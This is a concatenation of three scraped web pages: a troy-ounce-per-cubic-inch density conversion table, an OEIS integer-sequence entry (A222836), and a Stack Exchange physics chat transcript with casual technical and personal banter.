oz t/in³ to g/tsp 477 956.03 oz t/in³ = 13 414 327.27 grams per US tablespoon oz t/in³ to g/tbsp 477 956.03 oz t/in³ = 26 828 654.55 grams per US fluid ounce oz t/in³ to g/fl.oz 477 956.03 oz t/in³ = 214 629 236.18 grams per US cup oz t/in³ to g/US c 477 956.03 oz t/in³ = 429 258 473.31 grams per US pint oz t/in³ to g/pt 477 956.03 oz t/in³ = 858 516 942.79 grams per US quart oz t/in³ to g/US qt 477 956.03 oz t/in³ = 3 434 067 780.73 grams per US gallon oz t/in³ to g/US gal 477 956.03 oz t/in³ = 0.91 kilogram per cubic millimeter oz t/in³ to kg/mm³ 477 956.03 oz t/in³ = 907.18 kilograms per cubic centimeter oz t/in³ to kg/cm³ 477 956.03 oz t/in³ = 907 184.73 kilograms per cubic decimeter oz t/in³ to kg/dm³ 477 956.03 oz t/in³ = 907 184 734.29 kilograms per cubic meter oz t/in³ to kg/m³ 477 956.03 oz t/in³ = 907.18 kilograms per milliliter oz t/in³ to kg/ml 477 956.03 oz t/in³ = 907 184.73 kilograms per liter oz t/in³ to kg/l 477 956.03 oz t/in³ = 4 535.92 kilograms per metric teaspoon oz t/in³ to kg/metric tsp 477 956.03 oz t/in³ = 13 607.77 kilograms per metric tablespoon oz t/in³ to kg/metric tbsp 477 956.03 oz t/in³ = 226 796.18 kilograms per metric cup oz t/in³ to kg/metric c 477 956.03 oz t/in³ = 14 866.09 kilograms per cubic inch oz t/in³ to kg/in³ 477 956.03 oz t/in³ = 25 688 610.93 kilograms per cubic foot oz t/in³ to kg/ft³ 477 956.03 oz t/in³ = 693 592 493.51 kilograms per cubic yard oz t/in³ to kg/yd³ 477 956.03 oz t/in³ = 4 471.44 kilograms per US teaspoon oz t/in³ to kg/tsp 477 956.03 oz t/in³ = 13 414.33 kilograms per US tablespoon oz t/in³ to kg/tbsp 477 956.03 oz t/in³ = 26 758.97 kilograms per US fluid ounce oz t/in³ to kg/fl.oz 477 956.03 oz t/in³ = 214 629.24 kilograms per US cup oz t/in³ to kg/US c 477 956.03 oz t/in³ = 429 258.47 kilograms per US pint oz t/in³ to kg/pt 477 956.03 oz t/in³ = 858 516.95 kilograms per US quart oz t/in³ to kg/US qt 477 956.03 oz t/in³ = 3 434 067.79 kilograms per US gallon oz t/in³ to kg/US gal 477 956.03 oz t/in³ = 0.001 tonne per cubic millimeter oz t/in³ to t/mm³ 477 956.03 oz t/in³ = 0.91 tonne per cubic centimeter oz t/in³ to t/cm³ 477 956.03 oz t/in³ = 907.18 tonnes per cubic decimeter oz t/in³ to t/dm³ 477 956.03 oz t/in³ = 907 184.73 tonnes per cubic meter oz t/in³ to t/m³ 477 956.03 oz t/in³ = 0.91 tonne per milliliter oz t/in³ to t/ml 477 956.03 oz t/in³ = 907.18 tonnes per liter oz t/in³ to t/l 477 956.03 oz t/in³ = 4.54 tonnes per metric teaspoon oz t/in³ to t/metric tsp 477 956.03 oz t/in³ = 13.61 tonnes per metric tablespoon oz t/in³ to t/metric tbsp 477 956.03 oz t/in³ = 226.8 tonnes per metric cup oz t/in³ to t/metric c 477 956.03 oz t/in³ = 14.87 tonnes per cubic inch oz t/in³ to t/in³ 477 956.03 oz t/in³ = 25 688.61 tonnes per cubic foot oz t/in³ to t/ft³ 477 956.03 oz t/in³ = 693 592.49 tonnes per cubic yard oz t/in³ to t/yd³ 477 956.03 oz t/in³ = 4.47 tonnes per US teaspoon oz t/in³ to t/tsp 477 956.03 oz t/in³ = 13.41 tonnes per US tablespoon oz t/in³ to t/tbsp 477 956.03 oz t/in³ = 26.76 tonnes per US fluid ounce oz t/in³ to t/fl.oz 477 956.03 oz t/in³ = 214.63 tonnes per US cup oz t/in³ to t/US c 477 956.03 oz t/in³ = 429.26 tonnes per US pint oz t/in³ to t/pt 477 956.03 oz t/in³ = 858.52 tonnes per US quart oz t/in³ to t/US qt 477 956.03 oz t/in³ = 3 434.07 tonnes per US gallon oz t/in³ to t/US gal 477 956.03 oz t/in³ = 32 ounces per cubic millimeter oz t/in³ to oz/mm³ 477 956.03 oz t/in³ = 32 000 ounces per cubic centimeter oz t/in³ to oz/cm³ 477 956.03 oz t/in³ = 31 999 999.8 ounces per cubic decimeter oz t/in³ to oz/dm³ 477 956.03 oz t/in³ = 31 999 999 848.69 ounces per cubic meter oz t/in³ to oz/m³ 477 956.03 oz t/in³ = 32 000 ounces per milliliter oz t/in³ to oz/ml 477 956.03 oz t/in³ = 31 999 999.8 ounces per liter oz t/in³ to oz/l 477 956.03 oz t/in³ = 160 000 ounces per metric teaspoon oz t/in³ to oz/metric tsp 477 956.03 oz t/in³ = 480 000 ounces per metric tablespoon oz t/in³ to oz/metric tbsp 477 956.03 oz t/in³ = 7 999 999.97 ounces per metric cup oz t/in³ to oz/metric c 477 956.03 oz t/in³ = 524 386.05 ounces per cubic inch oz t/in³ to oz/in³ 477 956.03 oz t/in³ = 906 139 085.99 ounces per cubic foot oz t/in³ to oz/ft³ 477 956.03 oz t/in³ = 24 465 755 359.97 ounces per cubic yard oz t/in³ to oz/yd³ 477 956.03 oz t/in³ = 157 725.49 ounces per US teaspoon oz t/in³ to oz/tsp 477 956.03 oz t/in³ = 473 176.47 ounces per US tablespoon oz t/in³ to oz/tbsp 477 956.03 oz t/in³ = 946 352.94 ounces per US fluid ounce oz t/in³ to oz/fl.oz 477 956.03 oz t/in³ = 7 570 823.52 ounces per US cup oz t/in³ to oz/US c 477 956.03 oz t/in³ = 15 141 647.03 ounces per US pint oz t/in³ to oz/pt 477 956.03 oz t/in³ = 30 283 294.01 ounces per US quart oz t/in³ to oz/US qt 477 956.03 oz t/in³ = 121 133 176.24 ounces per US gallon oz t/in³ to oz/US gal 477 956.03 oz t/in³ = 2 pounds per cubic millimeter oz t/in³ to lb/mm³ 477 956.03 oz t/in³ = 2 000 pounds per cubic centimeter oz t/in³ to lb/cm³ 477 956.03 oz t/in³ = 1 999 999.99 pounds per cubic decimeter oz t/in³ to lb/dm³ 477 956.03 oz t/in³ = 1 999 999 991.14 pounds per cubic meter oz t/in³ to lb/m³ 477 956.03 oz t/in³ = 2 000 pounds per milliliter oz t/in³ to lb/ml 477 956.03 oz t/in³ = 1 999 999.99 pounds per liter oz t/in³ to lb/l 477 956.03 oz t/in³ = 10 000 pounds per metric teaspoon oz t/in³ to lb/metric tsp 477 956.03 oz t/in³ = 30 000 pounds per metric tablespoon oz t/in³ to lb/metric tbsp 477 956.03 oz t/in³ = 500 000 pounds per metric cup oz t/in³ to lb/metric c 477 956.03 oz t/in³ = 32 774.13 pounds per cubic inch oz t/in³ to lb/in³ 477 956.03 oz t/in³ = 56 633 692.99 pounds per cubic foot oz t/in³ to lb/ft³ 477 956.03 oz t/in³ = 1 529 109 704.62 pounds per cubic yard oz t/in³ to lb/yd³ 477 956.03 oz t/in³ = 9 857.84 pounds per US teaspoon oz t/in³ to lb/tsp 477 956.03 oz t/in³ = 29 573.53 pounds per US tablespoon oz t/in³ to lb/tbsp 477 956.03 oz t/in³ = 59 147.06 pounds per US fluid ounce oz t/in³ to lb/fl.oz 477 956.03 oz t/in³ = 473 176.47 pounds per US cup oz t/in³ to lb/US c 477 956.03 oz t/in³ = 946 352.94 pounds per US pint oz t/in³ to lb/pt 477 956.03 oz t/in³ = 1 892 705.88 pounds per US quart oz t/in³ to lb/US qt 477 956.03 oz t/in³ = 7 570 823.52 pounds per US gallon oz t/in³ to lb/US gal 477 956.03 oz t/in³ = 14 000 grains per cubic millimeter oz t/in³ to gr/mm³ 477 956.03 oz t/in³ = 13 999 999.92 grains per cubic centimeter oz t/in³ to gr/cm³ 477 956.03 oz t/in³ = 13 999 999 918.87 grains per cubic decimeter oz t/in³ to gr/dm³ 477 956.03 oz t/in³ = 13 999 999 918 865 grains per cubic meter oz t/in³ to gr/m³ 477 956.03 oz t/in³ = 13 999 999.92 grains per milliliter oz t/in³ to gr/ml 477 956.03 oz t/in³ = 13 999 999 918.87 grains per liter oz t/in³ to gr/l 477 956.03 oz t/in³ = 69 999 999.59 grains per metric teaspoon oz t/in³ to gr/metric tsp 477 956.03 oz t/in³ = 209 999 998.31 grains per metric tablespoon oz t/in³ to gr/metric tbsp 477 956.03 oz t/in³ = 3 499 999 970.16 grains per metric cup oz t/in³ to gr/metric c 477 956.03 oz t/in³ = 229 418 894.4 grains per cubic inch oz t/in³ to gr/in³ 477 956.03 oz t/in³ = 396 435 847 133.42 grains per cubic foot oz t/in³ to gr/ft³ 477 956.03 oz t/in³ = 10 703 767 937 126 grains per cubic yard oz t/in³ to gr/yd³ 477 956.03 oz t/in³ = 69 004 901.83 grains per US teaspoon oz t/in³ to gr/US tsp 477 956.03 oz t/in³ = 207 014 705.49 grains per US tablespoon oz t/in³ to gr/US tbsp 477 956.03 oz t/in³ = 414 029 410.99 grains per US fluid ounce oz t/in³ to gr/fl.oz 477 956.03 oz t/in³ = 3 312 235 287.9 grains per US cup oz t/in³ to gr/US c 477 956.03 oz t/in³ = 6 624 470 575.8 grains per US pint oz t/in³ to gr/pt 477 956.03 oz t/in³ = 13 248 941 151.6 grains per US quart oz t/in³ to gr/US qt 477 956.03 oz t/in³ = 52 995 764 606.4 grains per US gallon oz t/in³ to gr/US gal 477 956.03 oz t/in³ = 0.06 slug per cubic millimeter oz t/in³ to sl/mm³ 477 956.03 oz t/in³ = 62.16 slugs per cubic centimeter oz t/in³ to sl/cm³ 477 956.03 oz t/in³ = 62 161.9 slugs per cubic decimeter oz t/in³ to sl/dm³ 477 956.03 oz t/in³ = 62 161 900.2 slugs per cubic meter oz t/in³ to sl/m³ 477 956.03 oz t/in³ = 62.16 slugs per milliliter oz t/in³ to sl/ml 477 956.03 oz t/in³ = 62 161.9 slugs per liter oz t/in³ to sl/l 477 956.03 oz t/in³ = 310.81 slugs per metric teaspoon oz t/in³ to sl/metric tsp 477 956.03 oz t/in³ = 932.43 slugs per metric tablespoon oz t/in³ to sl/metric tbsp 477 956.03 oz t/in³ = 15 540.47 slugs per metric cup oz t/in³ to sl/metric c 477 956.03 oz t/in³ = 1 018.65 slugs per cubic inch oz t/in³ to sl/in³ 477 956.03 oz t/in³ = 1 760 228.98 slugs per cubic foot oz t/in³ to sl/ft³ 477 956.03 oz t/in³ = 47 526 182.48 slugs per cubic yard oz t/in³ to sl/yd³ 477 956.03 oz t/in³ = 306.39 slugs per US teaspoon oz t/in³ to sl/tsp 477 956.03 oz t/in³ = 919.17 slugs per US tablespoon oz t/in³ to sl/tbsp 477 956.03 oz t/in³ = 1 838.35 slugs per US fluid ounce oz t/in³ to sl/fl.oz 477 956.03 oz t/in³ = 14 706.77 slugs per US cup oz t/in³ to sl/US c 477 956.03 oz t/in³ = 29 413.55 slugs per US pint oz t/in³ to sl/pt 477 956.03 oz t/in³ = 58 827.1 slugs per US quart oz t/in³ to sl/US qt 477 956.03 oz t/in³ = 235 308.39 slugs per US gallon oz t/in³ to sl/US gal 477 956.03 oz t/in³ = 0.001 short ton per cubic millimeter oz t/in³ to short tn/mm³ 477 956.03 oz t/in³ = 1 short ton per cubic centimeter oz t/in³ to short tn/cm³ 477 956.03 oz t/in³ = 1 000 short tons per cubic decimeter oz t/in³ to short tn/dm³ 477 956.03 oz t/in³ = 1 000 000 short tons per cubic meter oz t/in³ to short tn/m³ 477 956.03 oz t/in³ = 1 short ton per milliliter oz t/in³ to short tn/ml 477 956.03 oz t/in³ = 1 000 short tons per liter oz t/in³ to short tn/l 477 956.03 oz t/in³ = 5 short tons per metric teaspoon oz t/in³ to short tn/metric tsp 477 956.03 oz t/in³ = 15 short tons per metric tablespoon oz t/in³ to short tn/metric tbsp 477 956.03 oz t/in³ = 250 short tons per metric cup oz t/in³ to short tn/metric c 477 956.03 oz t/in³ = 16.39 short tons per cubic inch oz t/in³ to short tn/in³ 477 956.03 oz t/in³ = 28 316.85 short tons per cubic foot oz t/in³ to short tn/ft³ 477 956.03 oz t/in³ = 764 554.85 short tons per cubic yard oz t/in³ to short tn/yd³ 477 956.03 oz t/in³ = 4.93 short tons per US teaspoon oz t/in³ to short tn/US tsp 477 956.03 oz t/in³ = 14.79 short tons per US tablespoon oz t/in³ to short tn/US tbsp 477 956.03 oz t/in³ = 29.57 short tons per US fluid ounce oz t/in³ to short tn/fl.oz 477 956.03 oz t/in³ = 236.59 short tons per US cup oz t/in³ to short tn/US c 477 956.03 oz t/in³ = 473.18 short tons per US pint oz t/in³ to short tn/pt 477 956.03 oz t/in³ = 946.35 short tons per US quart oz t/in³ to short tn/US qt 477 956.03 oz t/in³ = 3 785.41 short tons per US gallon oz t/in³ to short tn/US gal 477 956.03 oz t/in³ = 0.001 long ton per cubic millimeter oz t/in³ to long tn/mm³ 477 956.03 oz t/in³ = 0.89 long ton per cubic centimeter oz t/in³ to long tn/cm³ 477 956.03 oz t/in³ = 892.86 long tons per cubic decimeter oz t/in³ to long tn/dm³ 477 956.03 oz t/in³ = 892 857.14 long tons per cubic meter oz t/in³ to long tn/m³ 477 956.03 oz t/in³ = 0.89 long ton per milliliter oz t/in³ to long tn/ml 477 956.03 oz t/in³ = 892.86 long tons per liter oz t/in³ to long tn/l 477 956.03 oz t/in³ = 4.46 long tons per metric teaspoon oz t/in³ to long tn/metric tsp 477 956.03 oz t/in³ = 13.39 long tons per metric tablespoon oz t/in³ to long tn/metric tbsp 477 956.03 oz t/in³ = 223.21 long tons per metric cup oz t/in³ to long tn/metric c 477 956.03 oz t/in³ = 14.63 long tons per cubic inch oz t/in³ to long tn/in³ 477 956.03 oz t/in³ = 25 282.9 long tons per cubic foot oz t/in³ to long tn/ft³ 477 956.03 oz t/in³ = 682 638.26 long tons per cubic yard oz t/in³ to long tn/yd³ 477 956.03 oz t/in³ = 4.4 long tons per US teaspoon oz t/in³ to long tn/US tsp 477 956.03 oz t/in³ = 13.2 long tons per US tablespoon oz t/in³ to long tn/US tbsp 477 956.03 oz t/in³ = 26.4 long tons per US fluid ounce oz t/in³ to long tn/fl.oz 477 956.03 oz t/in³ = 211.24 long tons per US cup oz t/in³ to long tn/US c 477 956.03 oz t/in³ = 422.48 long tons per US pint oz t/in³ to long tn/pt 477 956.03 oz t/in³ = 844.96 long tons per US quart oz t/in³ to long tn/US qt 477 956.03 oz t/in³ = 3 379.83 long tons per US gallon oz t/in³ to long tn/US gal 477 956.03 oz t/in³ = 0.14 stone per cubic millimeter oz t/in³ to st/mm³ 477 956.03 oz t/in³ = 142.86 stones per cubic centimeter oz t/in³ to st/cm³ 477 956.03 oz t/in³ = 142 857.14 stones per cubic decimeter oz t/in³ to st/dm³ 477 956.03 oz t/in³ = 142 857 142.43 stones per cubic meter oz t/in³ to st/m³ 477 956.03 oz t/in³ = 142.86 stones per milliliter oz t/in³ to st/ml 477 956.03 oz t/in³ = 142 857.14 stones per liter oz t/in³ to st/l 477 956.03 oz t/in³ = 714.29 stones per metric teaspoon oz t/in³ to st/metric tsp 477 956.03 oz t/in³ = 2 142.86 stones per metric tablespoon oz t/in³ to st/metric tbsp 477 956.03 oz t/in³ = 35 714.29 stones per metric cup oz t/in³ to st/metric c 477 956.03 oz t/in³ = 2 341.01 stones per cubic inch oz t/in³ to st/in³ 477 956.03 oz t/in³ = 4 045 263.77 stones per cubic foot oz t/in³ to st/ft³ 477 956.03 oz t/in³ = 109 222 121.49 stones per cubic yard oz t/in³ to st/yd³ 477 956.03 oz t/in³ = 704.13 stones per US teaspoon oz t/in³ to st/US tsp 477 956.03 oz t/in³ = 2 112.39 stones per US tablespoon oz t/in³ to st/US tbsp 477 956.03 oz t/in³ = 4 224.79 stones per US fluid ounce oz t/in³ to st/fl.oz 477 956.03 oz t/in³ = 33 798.32 stones per US cup oz t/in³ to st/US c 477 956.03 oz t/in³ = 67 596.64 stones per US pint oz t/in³ to st/pt 477 956.03 oz t/in³ = 135 193.28 stones per US quart oz t/in³ to st/US qt 477 956.03 oz t/in³ = 540 773.11 stones per US gallon oz t/in³ to st/US gal 477 956.03 oz t/in³ = 29.17 troy ounces per cubic millimeter oz t/in³ to oz t/mm³ 477 956.03 oz t/in³ = 29 166.67 troy ounces per cubic centimeter oz t/in³ to oz t/cm³ 477 956.03 oz t/in³ = 29 166 666.47 troy ounces per cubic decimeter oz t/in³ to oz t/dm³ 477 956.03 oz t/in³ = 29 166 666 417.98 troy ounces per cubic meter oz t/in³ to oz t/m³ 477 956.03 oz t/in³ = 29 166.67 troy ounces per milliliter oz t/in³ to oz t/ml 477 956.03 oz t/in³ = 29 166 666.47 troy ounces per liter oz t/in³ to oz t/l 477 956.03 oz t/in³ = 145 833.33 troy ounces per metric teaspoon oz t/in³ to oz t/metric tsp 477 956.03 oz t/in³ = 437 500 troy ounces per metric tablespoon oz t/in³ to oz t/metric tbsp 477 956.03 oz t/in³ = 7 291 666.6 troy ounces per metric cup oz t/in³ to oz t/metric c 477 956.03 oz t/in³ = 825 908 015.06 troy ounces per cubic foot oz t/in³ to oz t/ft³ 477 956.03 oz t/in³ = 22 299 516 535.68 troy ounces per cubic yard oz t/in³ to oz t/yd³ 477 956.03 oz t/in³ = 143 760.21 troy ounces per US teaspoon oz t/in³ to oz t/US tsp 477 956.03 oz t/in³ = 431 280.64 troy ounces per US tablespoon oz t/in³ to oz t/US tbsp 477 956.03 oz t/in³ = 862 561.27 troy ounces per US fluid ounce oz t/in³ to oz t/fl.oz 477 956.03 oz t/in³ = 6 900 490.18 troy ounces per US cup oz t/in³ to oz t/US c 477 956.03 oz t/in³ = 13 800 980.37 troy ounces per US pint oz t/in³ to oz t/pt 477 956.03 oz t/in³ = 27 601 960.73 troy ounces per US quart oz t/in³ to oz t/US qt 477 956.03 oz t/in³ = 110 407 842.93 troy ounces per US gallon oz t/in³ to oz t/US gal 477 956.03 oz t/in³ = 2.43 troy pounds per cubic millimeter oz t/in³ to troy/mm³ 477 956.03 oz t/in³ = 2 430.56 troy pounds per cubic centimeter oz t/in³ to troy/cm³ 477 956.03 oz t/in³ = 2 430 555.54 troy pounds per cubic decimeter oz t/in³ to troy/dm³ 477 956.03 oz t/in³ = 2 430 555 534.83 troy pounds per cubic meter oz t/in³ to troy/m³ 477 956.03 oz t/in³ = 2 430.56 troy pounds per milliliter oz t/in³ to troy/ml 477 956.03 oz t/in³ = 2 430 555.54 troy pounds per liter oz t/in³ to troy/l 477 956.03 oz t/in³ = 12 152.78 troy pounds per metric teaspoon oz t/in³ to troy/metric tsp 477 956.03 oz t/in³ = 36 458.33 troy pounds per metric tablespoon oz t/in³ to troy/metric tbsp 477 956.03 oz t/in³ = 607 638.88 troy pounds per metric cup oz t/in³ to troy/metric c 477 956.03 oz t/in³ = 39 829.67 troy pounds per cubic inch oz t/in³ to troy/in³ 477 956.03 oz t/in³ = 68 825 667.84 troy pounds per cubic foot oz t/in³ to troy/ft³ 477 956.03 oz t/in³ = 1 858 293 039.86 troy pounds per cubic yard oz t/in³ to troy/yd³ 477 956.03 oz t/in³ = 11 980.02 troy pounds per US teaspoon oz t/in³ to troy/US tsp 477 956.03 oz t/in³ = 35 940.05 troy pounds per US tablespoon oz t/in³ to troy/US tbsp 477 956.03 oz t/in³ = 71 880.11 troy pounds per US fluid ounce oz t/in³ to troy/fl.oz 477 956.03 oz t/in³ = 575 040.85 troy pounds per US cup oz t/in³ to troy/US c 477 956.03 oz t/in³ = 1 150 081.7 troy pounds per US pint oz t/in³ to troy/pt 477 956.03 oz t/in³ = 2 300 163.39 troy pounds per US quart oz t/in³ to troy/US qt 477 956.03 oz t/in³ = 9 200 653.58 troy pounds per US gallon oz t/in³ to troy/US gal 477 956.03 oz t/in³ = 583.33 pennyweights per cubic millimeter oz t/in³ to dwt/mm³ 477 956.03 oz t/in³ = 583 333.33 pennyweights per cubic centimeter oz t/in³ to dwt/cm³ 477 956.03 oz t/in³ = 583 333 328.36 pennyweights per cubic decimeter oz t/in³ to dwt/dm³ 477 956.03 oz t/in³ = 583 333 328 359.53 pennyweights per cubic meter oz t/in³ to dwt/m³ 477 956.03 oz t/in³ = 583 333.33 pennyweights per milliliter oz t/in³ to dwt/ml 477 956.03 oz t/in³ = 583 333 328.36 pennyweights per liter oz t/in³ to dwt/l 477 956.03 oz t/in³ = 2 916 666.65 pennyweights per metric teaspoon oz t/in³ to dwt/metric tsp 477 956.03 oz t/in³ = 8 749 999.93 pennyweights per metric tablespoon oz t/in³ to dwt/metric tbsp 477 956.03 oz t/in³ = 145 833 332.09 pennyweights per metric cup oz t/in³ to dwt/metric c 477 956.03 oz t/in³ = 9 559 120.6 pennyweights per cubic inch oz t/in³ to dwt/in³ 477 956.03 oz t/in³ = 16 518 160 301.21 pennyweights per cubic foot oz t/in³ to dwt/ft³ 477 956.03 oz t/in³ = 445 990 330 713.6 pennyweights per cubic yard oz t/in³ to dwt/yd³ 477 956.03 oz t/in³ = 2 875 204.24 pennyweights per US teaspoon oz t/in³ to dwt/US tsp 477 956.03 oz t/in³ = 8 625 612.73 pennyweights per US tablespoon oz t/in³ to dwt/US tbsp 477 956.03 oz t/in³ = 17 251 225.46 pennyweights per US fluid ounce oz t/in³ to dwt/fl.oz 477 956.03 oz t/in³ = 138 009 803.66 pennyweights per US cup oz t/in³ to dwt/US c 477 956.03 oz t/in³ = 276 019 607.33 pennyweights per US pint oz t/in³ to dwt/pt 477 956.03 oz t/in³ = 552 039 214.65 pennyweights per US quart oz t/in³ to dwt/US qt 477 956.03 oz t/in³ = 2 208 156 858.6 pennyweights per US gallon oz t/in³ to dwt/US gal
#### Foods, Nutrients and Calories
CHOCOLATE KID ESSENTIALS NUTRITIONALLY COMPLETE DRINK, CHOCOLATE, UPC: 041679950975 contain(s) 98 calories per 100 grams (≈3.53 ounces) [ price ]
1492 foods that contain Lycopene. List of these foods starting with the highest contents of Lycopene and the lowest contents of Lycopene
#### Gravels, Substances and Oils
CaribSea, Freshwater, Super Naturals, Zen Garden weighs 1 473.7 kg/m³ (92.00009 lb/ft³) with specific gravity of 1.4737 relative to pure water. Calculate how much of this gravel is required to attain a specific depth in a cylindricalquarter cylindrical or in a rectangular shaped aquarium or pond [ weight to volume | volume to weight | price ]
Convert between units of mass and molar concentration for Bicarbonate [HCO3- or CHO3-]
Volume to weightweight to volume and cost conversions for Canola oil with temperature in the range of 10°C (50°F) to 140°C (284°F)
#### Weights and Measurements
The microgram per metric cup density measurement unit is used to measure volume in metric cups in order to estimate weight or mass in micrograms
Amount of substance is a quantity proportional to the number of entities N in a sample.
dwt/in³ to µg/fl.oz conversion table, dwt/in³ to µg/fl.oz unit converter or convert between all units of density measurement.
#### Calculators
Calculate volume of a dam and its surface area | 9,336 | 24,259 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 2.78125 | 3 | CC-MAIN-2021-25 | latest | en | 0.195503 |
https://oeis.org/A222836 | 1,600,765,605,000,000,000 | text/html | crawl-data/CC-MAIN-2020-40/segments/1600400204410.37/warc/CC-MAIN-20200922063158-20200922093158-00225.warc.gz | 544,204,358 | 3,699 | The OEIS Foundation is supported by donations from users of the OEIS and by a grant from the Simons Foundation.
Hints (Greetings from The On-Line Encyclopedia of Integer Sequences!)
A222836 Number of nX6 0..3 arrays with no element equal to another at a city block distance of exactly two, and new values 0..3 introduced in row major order 1
55, 1536, 1944, 4056, 9600, 24576, 55296, 124416, 279936, 645504, 1476096, 3393024, 7742976, 17750400, 40560000, 92952576, 212557824, 486864384, 1113680256, 2550116736, 5834651136, 13357979136, 30567200256, 69973632384, 160134620544 (list; graph; refs; listen; history; text; internal format)
OFFSET 1,1 COMMENTS Column 6 of A222838 LINKS R. H. Hardin, Table of n, a(n) for n = 1..112 FORMULA Empirical: a(n) = 2*a(n-1) +2*a(n-2) -4*a(n-3) +4*a(n-4) -4*a(n-5) +2*a(n-6) -6*a(n-7) +a(n-10) for n>14 EXAMPLE Some solutions for n=4 ..0..1..2..2..3..0....0..1..1..2..0..3....0..1..2..2..1..3....0..1..2..0..3..1 ..0..3..3..0..1..1....0..2..3..3..1..2....0..1..3..3..0..0....2..1..3..0..2..2 ..2..2..1..0..2..3....1..2..0..0..1..2....3..2..0..1..2..2....2..0..3..1..1..3 ..3..0..1..3..2..0....3..3..1..2..3..3....3..2..0..1..3..3....3..0..2..2..0..0 CROSSREFS Sequence in context: A017771 A322502 A271796 * A017718 A173113 A166844 Adjacent sequences: A222833 A222834 A222835 * A222837 A222838 A222839 KEYWORD nonn AUTHOR R. H. Hardin Mar 06 2013 STATUS approved
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Last modified September 22 03:54 EDT 2020. Contains 337289 sequences. (Running on oeis4.) | 680 | 1,739 | {"found_math": false, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0} | 3.609375 | 4 | CC-MAIN-2020-40 | latest | en | 0.585268 |
https://chat.stackexchange.com/transcript/message/39763683 | 1,586,479,474,000,000,000 | text/html | crawl-data/CC-MAIN-2020-16/segments/1585371880945.85/warc/CC-MAIN-20200409220932-20200410011432-00189.warc.gz | 400,044,684 | 31,225 | 00:00 - 14:0014:00 - 00:00
12:23 AM
0
In Majda and Bertozzi, Vorticity and Incompressible Flow on page 32, the orthogonal decomposition of a vector field $v\in L^2(\Bbb R^n)\cap C^\infty(\Bbb R^n)$ is proved, namely $$v=w+\nabla q, \quad w\bot_{L^2} \nabla q,$$ with both $w$ and $\nabla q$ in $L^2\cap C^\infty$. The proof is stated ...
12:47 AM
Sigh I keep losing my wallet
Have to look everywhere now
Sigh, never mind, it was in my pocket...
@SirCumference get a wallet wallet
Keeps all your wallets safe and close to hand
Question: can someone give me an example of a Linear operator that maps a vector space to a different Vector space like $T_1H_1 \to H_2$
1:24 AM
@Phase is there supposed to be a $:$ there
Yep
There is
if so, consider $p:\Bbb R^2\mapsto \Bbb R, (x,y)\mapsto x$.
@Phase does that resolve your doubt
I feel like SE should have "subtags" — for example, would be a subtag of , so a post tagged with would also show up in
That would make things a lot more organized
Oh
Yeah
How do you prove that things are linear? Just churn through the definitions like f(x+y) = f(x) + f(y) manually?
Or is there a quicker way
1:46 AM
@Phase yes
just look at it
it's almost always obvious
Gah, my DIY molecular diffusion pump doesn't work. Doesn't pump worth a sausage.
@Giskard42 I think I recall hearing that those things are fiddly to build. I trust that you've started with a good enough rough vacuum that it makes sense to expect it to work, yes?
@AlexKChen The Open Source Physics and Physlets projects both provide infrastructure for that kind of thing.
You could use tkinter for the drawing if you were doing it in python, but that is, in some ways, the easy half of the problem. Getting a robust simulation to underlie the graphics is the places with horrifying traps for the unwary.
I think OSP uses a custom java framework with a specialized IDE (and maybe they also support javascript which I thought was weird when I heard it). I forget what physlets is built on.
2:28 AM
Is physicaloxy.com a scam website, the uni email seemed to be flooded with their emails?
and who is Axel Holmberg?
How on earth did my uni get involved in such annoying thing...
@rob Given that we can presume that 420,000 such people didn't ask to be so addressed that is the very exemplar of spam.
@Secret Do you think that the university paid those folks to place ads? Or do you think that the website scraped all the university emails and spams everybody?
I just inhaled a plume of smoke
2:35 AM
In other words they are a blight on the face of the interwebs and no one will cry if their servers burn in a fire (started, of course, by mischance or act of god and certainly not by a misled soul).
Most IT departments have an address (often abuse@) where you can forward persistent spam or phishing attempts or whatnot.
am I going to die?
@0ßelö7 Depends on what kind of smoke we're talking here.
@dmckee tried to reheat some frozen cookies and burnt them to a crisp
Maybe you'll just cough some and maybe you'll demolish a whole jumbo sized bag of double-stuff oreos.
2:37 AM
@dmckee No, he's going to die. However the kind of smoke may or may not determine when he dies.
@0ßelö7 I'm afraid that is the just coughing scenario.
@rob Yes, and if he gets the 'Eat entire bag of double stuff oreos' off his bucket list first or not.
@dmckee There are ... there are people who've never done this?
that seems like a bad idea
although having milk makes it healthy
I suppose everyone has to get their start at some point
That I am not sure, for one thing, back in UNSW (which interestingly is listed in that website) I never received anything from this website once. So my only suspicion is that somehow either this website somehow spam USyd starting from this year's may (because the earliest one is 15/5/2017), or one of the uni clubs I joined somehow involved with that website.
I think I will forward this to IT and have them figure out what it is
2:40 AM
On an unrelated note, I almost sent an email to my professor with a very scary typo: Dead instead of dear
@rob what?
@0ßelö7 What what?
Wut wut?
@rob have you eaten a whole bag of oreos in one sitting?
2:53 AM
@0ßelö7 Don't knock it till you've tried it
@dmckee Yeah, I've got down to ~300 microns from just the roughing pump, which is a little high, but acceptable
@dmckee I think it's likely my nozzle - I tried to find an ideal shape with the nasa laval nozzle simulator
But I'm not sure what my boiler pressure is - the pump oil's vapor pressure charts are giving me nonsense values
So I just eyeballed it
I was thinking of using an aerospike, since (afaik), that would partially compensate for any pressure mismatch
3:54 AM
So, the uni said they have not subscribed to such website. Now to check the clubs I joined...
Yeah, I smell a scam...
4:53 AM
0
To begin where I did with this question, I was originally wondering about why the neutron-proton ratio is close to 1 for stable nuclei. The answer to my original question (as far as I understand it) is that, due to the exclusion principle, not all of the protons or neutrons can be in the ground e...
An interesting question that is not GR, not QFT, QM, not condensed matter, not astrophysics
2 hours later…
6:27 AM
